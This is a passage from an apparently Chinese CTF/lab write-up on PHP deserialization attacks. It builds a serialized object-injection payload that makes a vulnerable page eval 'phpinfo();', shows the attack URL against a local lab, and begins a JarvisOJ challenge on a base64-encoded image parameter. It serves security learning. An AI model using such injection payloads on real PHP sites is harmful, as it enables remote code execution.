大意为, newmain()
得到一个新的main对象,调用 __construct()
,其中又 newtest1()
,
在结束后会调用 __destruct()
,其中会调用 action()
,从而输出 hello world
。
而我们需要寻找相同的函数名,即test2类中的action方法,因为其中有我们想要的eval方法.
下面使用PHP获取序列化字符串:
<?php
class main {
var $test;
function __construct() {
$this->test = new test2();
}
}
class test2 {
var $test2 = "phpinfo();";
}
echo serialize(new main());
?>
得到序列化字符串如下:
O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}
构造URL如下:
127.0.0.1/Unserialize/test3.php
?test=O:4:"main":1:{s:4:"test";O:5:"test2":1:{s:5:"test2";s:10:"phpinfo();";}}
相当于执行 <?phpeval("phpinfo();")?>
神盾局的秘密
题目入口:
发现base64编码后的文件名,解密后为shield.jpg
访问: http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw
报错,猜测可能需要将文件名经base64编码后才能访问。
访问: http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLmpwZw
,返回以下图片内容。
暂无评论内容